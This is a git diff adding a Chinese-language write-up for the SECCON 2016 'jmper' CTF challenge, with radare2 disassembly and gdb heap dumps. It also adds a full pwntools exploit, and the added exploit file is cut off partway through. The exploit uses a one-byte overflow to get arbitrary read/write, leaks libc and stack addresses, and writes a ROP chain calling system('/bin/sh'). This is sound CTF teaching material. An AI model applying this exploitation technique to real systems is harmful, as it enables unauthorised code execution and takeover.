diff --git a/doc/6.1.17_pwn_secconctf2016_jmper.md b/doc/6.1.17_pwn_secconctf2016_jmper.md index 56048f4..547bccf 100644 --- a/doc/6.1.17_pwn_secconctf2016_jmper.md +++ b/doc/6.1.17_pwn_secconctf2016_jmper.md @@ -19,12 +19,616 @@ $ strings libc-2.19.so | grep "GNU C" GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.4. ``` -64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX。 +64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。 + +在 Ubuntu-14.04 上玩一下: +``` +$ LD_PRELOAD=./libc-2.19.so ./jmper +Welcome to my class. +My class is up to 30 people :) +1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +1 +1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +2 +ID:0 +Input name:AAAA +1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +3 +ID:0 +Input memo:BBBB +1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +4 +ID:0 +AAAA1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +5 +ID:0 +BBBB1. Add student. +2. Name student. +3. Write memo +4. Show Name +5. Show memo. +6. Bye :) +6 +``` +似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。 ## 题目解析 +程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。 + +#### main +``` +[0x00400730]> pdf @ main +/ (fcn) main 170 +| main (); +| ; var int local_4h @ rbp-0x4 +| ; DATA XREF from 0x0040074d (entry0) +| 0x00400ba8 push rbp +| 0x00400ba9 mov rbp, rsp +| 0x00400bac sub rsp, 0x10 +| 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0 +| 0x00400bb7 mov ecx, 0 +| 0x00400bbc mov edx, 2 +| 0x00400bc1 mov esi, 0 +| 0x00400bc6 mov rdi, rax +| 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) +| 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0 +| 0x00400bd5 mov ecx, 0 +| 0x00400bda mov edx, 2 +| 0x00400bdf mov esi, 0 +| 0x00400be4 mov rdi, rax +| 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) +| 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class." +| 0x00400bf1 call sym.imp.puts ; int puts(const char *s) +| 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)" +| 0x00400bfb call sym.imp.puts ; int puts(const char *s) +| 0x00400c00 mov edi, 0xf0 ; 240 +| 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组 +| 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0 +| 0x00400c11 mov edi, 0xc8 ; 200 +| 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体 +| 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0 +| 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 +| 0x00400c29 mov rdi, rax +| 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf +| 0x00400c31 mov dword [local_4h], eax +| 0x00400c34 cmp dword [local_4h], 0 ; 将 setjmp 返回值与 0 比较 +| ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转 +| | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑 +| ,==< 0x00400c3f jmp 0x400c4b +| || ; JMP XREF from 0x00400c38 (main) +| |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)" +| | 0x00400c46 call sym.imp.puts ; int puts(const char *s) +| | ; JMP XREF from 0x00400c3f (main) +| `--> 0x00400c4b mov eax, 0 +| 0x00400c50 leave +\ 0x00400c51 ret +[0x00400730]> is ~my_class +055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class +[0x00400730]> is ~jmpbuf +065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf +[0x00400730]> iS ~bss +24 0x00002010 0 0x00602010 48 --rw- .bss +``` +在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class`(`0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf`(`0x00602038`)。并且这两个符号都在 `.bss` 段中。 + +这里就涉及到 `setjmp()` 和 `longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下: +```c +#include + +int setjmp(jmp_buf env); + +void longjmp(jmp_buf env, int val); +``` +- `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复 + - `env`:保存上下文的 `jmp_buf` 结构体变量 + - 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。 +- `longjmp()`:从 `jmp_buf` 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回 + - `env`:由 setjmp 函数保存的上下文 + - `val`:传递给 setjmp 函数的返回值,如果 `val` 值为 0,setjmp 将会返回 1,否则返回 `val`。 + +`longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。 + +#### f +接下来我们看一下各功能的实现(程序设计真的要吐槽一下): +``` +[0x00400730]> pdf @ sym.f +/ (fcn) sym.f 907 +| sym.f (); +| ; var int local_1dh @ rbp-0x1d +| ; var int local_1ch @ rbp-0x1c +| ; var int local_18h @ rbp-0x18 +| ; var int local_14h @ rbp-0x14 +| ; var int local_10h @ rbp-0x10 +| ; var int local_8h @ rbp-0x8 +| ; CALL XREF from 0x00400c3a (main) +| 0x0040081d push rbp +| 0x0040081e mov rbp, rsp +| 0x00400821 sub rsp, 0x20 +| 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0 +| ; JMP XREF from 0x00400ba3 (sym.f) +| .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始 +| : 0x00400834 call sym.imp.puts ; int puts(const char *s) +| : 0x00400839 lea rax, [local_18h] +| : 0x0040083d mov rsi, rax +| : 0x00400840 mov edi, 0x400d3c +| : 0x00400845 mov eax, 0 +| : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h] +| : 0x0040084f call sym.imp.getchar ; int getchar(void) +| : 0x00400854 mov eax, dword [local_18h] +| : 0x00400857 cmp eax, 1 ; 1 +| ,==< 0x0040085a jne 0x4008e8 +| |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数 +| |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较 +| ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转 +| ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main +| ||: 0x00400870 call sym.imp.puts ; int puts(const char *s) +| ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体 +| ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52 +| ||: 0x00400881 mov rdi, rax +| ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52) +| ||: ; JMP XREF from 0x00400869 (sym.f) +| `---> 0x00400889 mov edi, 0x30 ; '0' ; 48 +| |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构 +| |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h] +| |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| |: 0x0040089d movsxd rdx, eax +| |: 0x004008a0 mov rax, qword [local_8h] +| |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id +| |: 0x004008a7 mov edi, 0x20 ; 32 +| |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name +| |: 0x004008b1 mov rdx, rax +| |: 0x004008b4 mov rax, qword [local_8h] +| |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name +| |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0 +| |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0 +| |: 0x004008c9 movsxd rdx, edx +| |: 0x004008cc mov rcx, qword [local_8h] +| |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id] +| |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| |: 0x004008da add eax, 1 ; student_num + 1 +| |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num +| ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单 +| ||: ; JMP XREF from 0x0040085a (sym.f) +| |`--> 0x004008e8 mov eax, dword [local_18h] +| | : 0x004008eb cmp eax, 2 ; 2 +| |,==< 0x004008ee jne 0x4009b3 +| ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2 +| ||: 0x004008f9 mov edi, 0x400d61 +| ||: 0x004008fe mov eax, 0 +| ||: 0x00400903 call sym.imp.printf ; int printf(const char *format) +| ||: 0x00400908 lea rax, [local_1ch] +| ||: 0x0040090c mov rsi, rax +| ||: 0x0040090f mov edi, 0x400d3c +| ||: 0x00400914 mov eax, 0 +| ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] +| ||: 0x0040091e call sym.imp.getchar ; int getchar(void) +| ||: 0x00400923 mov edx, dword [local_1ch] +| ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效 +| ,====< 0x0040092e jge 0x400937 ; 无效时跳转 +| |||: 0x00400930 mov eax, dword [local_1ch] +| |||: 0x00400933 test eax, eax ; 根据 id 设置符号位 +| ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转,即 id 大于等于 0 +| ||||: ; JMP XREF from 0x0040092e (sym.f) +| |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." +| | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s) +| | ||: 0x00400941 mov edi, 1 +| | ||: 0x00400946 call sym.imp.exit ; void exit(int status) +| | ||: ; JMP XREF from 0x00400935 (sym.f) +| `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:" +| ||: 0x00400950 mov edi, 0x400d61 +| ||: 0x00400955 mov eax, 0 +| ||: 0x0040095a call sym.imp.printf ; int printf(const char *format) +| ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0 +| ||: 0x00400966 mov edx, dword [local_1ch] +| ||: 0x00400969 movsxd rdx, edx +| ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id] +| ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name +| ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h] +| ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0 +| ,====< 0x0040097f jmp 0x4009a8 ; 进入循环 +| |||: ; JMP XREF from 0x004009ac (sym.f) +| .-----> 0x00400981 call sym.imp.getchar ; int getchar(void) +| :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh] +| :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10 +| ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转 +| |:|||: 0x0040098f nop +| ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单 +| ||:|||: ; JMP XREF from 0x0040098d (sym.f) +| |`------> 0x00400995 mov rax, qword [local_10h] +| | :|||: 0x00400999 movzx edx, byte [local_1dh] +| | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name +| | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1 +| | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1 +| | :|||: ; JMP XREF from 0x0040097f (sym.f) +| | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32 +| | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出 +| | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单 +| | |||: ; JMP XREF from 0x004008ee (sym.f) +| | ||`--> 0x004009b3 mov eax, dword [local_18h] +| | || : 0x004009b6 cmp eax, 3 ; 3 +| | ||,==< 0x004009b9 jne 0x400a7e +| | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3 +| | |||: 0x004009c4 mov edi, 0x400d61 +| | |||: 0x004009c9 mov eax, 0 +| | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format) +| | |||: 0x004009d3 lea rax, [local_1ch] +| | |||: 0x004009d7 mov rsi, rax +| | |||: 0x004009da mov edi, 0x400d3c +| | |||: 0x004009df mov eax, 0 +| | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] +| | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void) +| | |||: 0x004009ee mov edx, dword [local_1ch] +| | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效 +| | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转 +| | ||||: 0x004009fb mov eax, dword [local_1ch] +| | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位 +| |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转,即 id 大于等于 0 +| ||||||: ; JMP XREF from 0x004009f9 (sym.f) +| ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." +| || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s) +| || |||: 0x00400a0c mov edi, 1 +| || |||: 0x00400a11 call sym.imp.exit ; void exit(int status) +| || |||: ; JMP XREF from 0x00400a00 (sym.f) +| |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:" +| | |||: 0x00400a1b mov edi, 0x400d61 +| | |||: 0x00400a20 mov eax, 0 +| | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format) +| | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0 +| | |||: 0x00400a31 mov edx, dword [local_1ch] +| | |||: 0x00400a34 movsxd rdx, edx +| | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id] +| | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo +| | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h] +| | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i,初始化为 0 +| | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环 +| | ||||: ; JMP XREF from 0x00400a77 (sym.f) +| |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void) +| |:||||: 0x00400a51 mov byte [local_1dh], al +| |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10 +| ========< 0x00400a58 jne 0x400a60 +| |:||||: 0x00400a5a nop +| ========< 0x00400a5b jmp 0x400ba3 +| |:||||: ; JMP XREF from 0x00400a58 (sym.f) +| --------> 0x00400a60 mov rax, qword [local_10h] +| |:||||: 0x00400a64 movzx edx, byte [local_1dh] +| |:||||: 0x00400a68 mov byte [rax], dl +| |:||||: 0x00400a6a add qword [local_10h], 1 +| |:||||: 0x00400a6f add dword [local_14h], 1 +| |:||||: ; JMP XREF from 0x00400a4a (sym.f) +| |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32 +| |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出 +| | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单 +| | ||||: ; JMP XREF from 0x004009b9 (sym.f) +| | |||`--> 0x00400a7e mov eax, dword [local_18h] +| | ||| : 0x00400a81 cmp eax, 4 ; 4 +| | |||,==< 0x00400a84 jne 0x400b0d +| | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4 +| | ||||: 0x00400a8f mov edi, 0x400d61 +| | ||||: 0x00400a94 mov eax, 0 +| | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format) +| | ||||: 0x00400a9e lea rax, [local_1ch] +| | ||||: 0x00400aa2 mov rsi, rax +| | ||||: 0x00400aa5 mov edi, 0x400d3c +| | ||||: 0x00400aaa mov eax, 0 +| | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] +| | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void) +| | ||||: 0x00400ab9 mov edx, dword [local_1ch] +| | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效 +| |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转 +| ||||||: 0x00400ac6 mov eax, dword [local_1ch] +| ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位 +| ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转,即 id 大于等于 0 +| ||||||: ; JMP XREF from 0x00400ac4 (sym.f) +| |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." +| | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s) +| | ||||: 0x00400ad7 mov edi, 1 +| | ||||: 0x00400adc call sym.imp.exit ; void exit(int status) +| | ||||: ; JMP XREF from 0x00400acb (sym.f) +| --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0 +| | ||||: 0x00400ae8 mov edx, dword [local_1ch] +| | ||||: 0x00400aeb movsxd rdx, edx +| | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id] +| | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name +| | ||||: 0x00400af6 mov rsi, rax +| | ||||: 0x00400af9 mov edi, 0x400d61 +| | ||||: 0x00400afe mov eax, 0 +| | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name +| |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单 +| ||||||: ; JMP XREF from 0x00400a84 (sym.f) +| |||||`--> 0x00400b0d mov eax, dword [local_18h] +| ||||| : 0x00400b10 cmp eax, 5 ; 5 +| |||||,==< 0x00400b13 jne 0x400b99 +| ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5 +| ||||||: 0x00400b1e mov edi, 0x400d61 +| ||||||: 0x00400b23 mov eax, 0 +| ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format) +| ||||||: 0x00400b2d lea rax, [local_1ch] +| ||||||: 0x00400b31 mov rsi, rax +| ||||||: 0x00400b34 mov edi, 0x400d3c +| ||||||: 0x00400b39 mov eax, 0 +| ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] +| ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void) +| ||||||: 0x00400b48 mov edx, dword [local_1ch] +| ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0 +| ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效 +| ========< 0x00400b53 jge 0x400b5c ; 无效时跳转 +| ||||||: 0x00400b55 mov eax, dword [local_1ch] +| ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位 +| ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转,即 id 大于等于 0 +| ||||||: ; JMP XREF from 0x00400b53 (sym.f) +| --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." +| ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s) +| ||||||: 0x00400b66 mov edi, 1 +| ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status) +| ||||||: ; JMP XREF from 0x00400b5a (sym.f) +| --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0 +| ||||||: 0x00400b77 mov edx, dword [local_1ch] +| ||||||: 0x00400b7a movsxd rdx, edx +| ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id] +| ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo +| ||||||: 0x00400b85 mov rsi, rax +| ||||||: 0x00400b88 mov edi, 0x400d61 +| ||||||: 0x00400b8d mov eax, 0 +| ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo +| ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单 +| ||||||: ; JMP XREF from 0x00400b13 (sym.f) +| |||||`--> 0x00400b99 mov edi, 0 +| ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status) +| ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3 +\ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续 +[0x00400730]> is ~student_num +048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num +``` +首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。 + +通过分析,可以得到 student 结构体和数组 my_class: +```c +struct student { + uint8_t id; + char memo[0x20]; + char *name; +} student; + +struct student my_class[0x1e]; +``` + +漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。 + ## Exploit +所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。 + +#### overflow +```python +def overflow(): + add() # idx 0 + add() # idx 1 + raw_input("#") + write_memo(0, 'A'*0x20 + '\x78') +``` + +首先添加两个 student: +``` +gdb-peda$ p student_num +$1 = 0x2 +gdb-peda$ x/2gx my_class +0x603010: 0x00000000006031e0 0x0000000000603250 +gdb-peda$ x/30gx *my_class-0x10 +0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0 +0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo +0x6031f0: 0x0000000000000000 0x0000000000000000 +0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name +0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0 +0x603220: 0x0000000000000000 0x0000000000000000 +0x603230: 0x0000000000000000 0x0000000000000000 +0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1 +0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo +0x603260: 0x0000000000000000 0x0000000000000000 +0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name +0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1 +0x603290: 0x0000000000000000 0x0000000000000000 +0x6032a0: 0x0000000000000000 0x0000000000000000 +0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk +``` +然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name: +``` +gdb-peda$ x/30gx *my_class-0x10 +0x6031d0: 0x0000000000000000 0x0000000000000041 +0x6031e0: 0x0000000000000000 0x4141414141414141 +0x6031f0: 0x4141414141414141 0x4141414141414141 +0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name +0x603210: 0x0000000000000000 0x0000000000000031 +0x603220: 0x0000000000000000 0x0000000000000000 +0x603230: 0x0000000000000000 0x0000000000000000 +0x603240: 0x0000000000000000 0x0000000000000041 +0x603250: 0x0000000000000001 0x0000000000000000 +0x603260: 0x0000000000000000 0x0000000000000000 +0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name +0x603280: 0x0000000000000000 0x0000000000000031 +0x603290: 0x0000000000000000 0x0000000000000000 +0x6032a0: 0x0000000000000000 0x0000000000000000 +0x6032b0: 0x0000000000000000 0x0000000000020d51 +``` +通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。 + +#### leak +然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息: +```python +def leak(): + global system_addr + global main_ret_addr + + write_name(0, p64(elf.got['puts'])) + show_name(1) + puts_addr = (u64(io.recvline()[:6] + '\x00'*2)) + + libc_base = puts_addr - libc.symbols['puts'] + system_addr = libc_base + libc.symbols['system'] + environ_addr = libc_base + libc.symbols['environ'] + + write_name(0, p64(environ_addr)) + show_name(1) + stack_addr = u64(io.recvline()[:6] + '\x00'*2) + main_ret_addr = stack_addr - 0xf0 + + log.info("libc base: 0x%x" % libc_base) + log.info("system address: 0x%x" % system_addr) + log.info("main return address: 0x%x" % main_ret_addr) +``` +于是我们就得到了 system 函数的地址和 main 函数的返回地址。 + +这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。 + +``` +[*] libc base: 0x7ffff7a15000 +[*] system address: 0x7ffff7a5b590 +[*] main return address: 0x7fffffffed78 +``` + +#### overwrite +```python +def overwrite(): + write_name(0, p64(0x602028)) # student_num + write_name(1, '/bin/sh\x00') + write_name(0, p64(main_ret_addr)) + write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') +``` +接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。 + +``` +gdb-peda$ x/s 0x602028 +0x602028 : "/bin/sh" +gdb-peda$ x/3gx 0x7fffffffed78 +0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028 +0x7fffffffed88: 0x00007ffff7a5b590 +``` + +#### pwn +```python +def pwn(): + add() # call longjmp to back to main + io.interactive() +``` + +Bingo!!! +``` +$ python exp.py +[+] Starting local process './jmper': pid 3935 +[*] Switching to interactive mode +Exception has occurred. Jump! +Nice jump! Bye :) +$ whoami +firmy +``` + +#### exp +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +context.log_level = 'debug' + +io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'}) +elf = ELF('jmper') +libc = ELF('libc-2.19.so') + +pop_rdi_ret = 0x400cc3 + +def add(): + io.sendlineafter("Bye :)\n", '1') + +def write_name(idx, content): + io.sendlineafter("Bye :)\n", '2') + io.sendlineafter("ID:", str(idx)) + io.sendlineafter("name:", content) + +def write_memo(idx, content): + io.sendlineafter("Bye :)\n", '3') + io.sendlineafter("ID:", str(idx)) + io.sendlineafter("memo:", content) + +def show_name(idx): + io.sendlineafter("Bye :)\n", '4') + io.sendlineafter("ID:", str(idx)) + +def show_memo(idx): + io.sendlineafter("Bye :)\n", '5') + io.sendlineafter("ID:", str(idx)) + +def overflow(): + add() # idx 0 + add() # idx 1 + write_memo(0, 'A'*0x20 + '\x78') + +def leak(): + global system_addr + global main_ret_addr + + write_name(0, p64(elf.got['puts'])) + show_name(1) + puts_addr = (u64(io.recvline()[:6] + '\x00'*2)) + + libc_base = puts_addr - libc.symbols['puts'] + system_addr = libc_base + libc.symbols['system'] + environ_addr = libc_base + libc.symbols['environ'] + + write_name(0, p64(environ_addr)) + show_name(1) + stack_addr = u64(io.recvline()[:6] + '\x00'*2) + main_ret_addr = stack_addr - 0xf0 + + log.info("libc base: 0x%x" % libc_base) + log.info("system address: 0x%x" % system_addr) + log.info("main return address: 0x%x" % main_ret_addr) + +def overwrite(): + write_name(0, p64(0x602028)) # student_num + write_name(1, '/bin/sh\x00') + write_name(0, p64(main_ret_addr)) + write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') + +def pwn(): + add() # call longjmp to back to main + io.interactive() + +if __name__ == "__main__": + overflow() + leak() + overwrite() + pwn() +``` + ## 参考资料 - https://ctftime.org/task/3169 diff --git a/src/writeup/6.1.17_pwn_secconctf2016_jmper/exp.py b/src/writeup/6.1.17_pwn_secconctf2016_jmper/exp.py new file mode 100644 index 0000000..7e2c7f2 --- /dev/null +++ b/src/writeup/6.1.17_pwn_secconctf2016_jmper/exp.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python + +from pwn import * + +context.log_level = 'debug' + +io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'}) +elf = ELF('jmper') +libc = ELF('libc-2.19.so') + +pop_rdi_ret = 0x400cc3 + +def add(): + io.sendlineafter("Bye :)\n", '1') + +def write_name(idx, content): + io.sendlineafter("Bye :)\n", '2') + io.sendlineafter("ID:", str(idx)) + io.sendlineafter("name:", content) + +def write_memo(idx, content): + io.sendlineafter("Bye :)\n", '3') + io.sendlineafter("ID:", str(idx)) + io.sendlineafter("memo:", content) + +def show_name(idx): + io.sendlineafter("Bye :)\n", '4') + 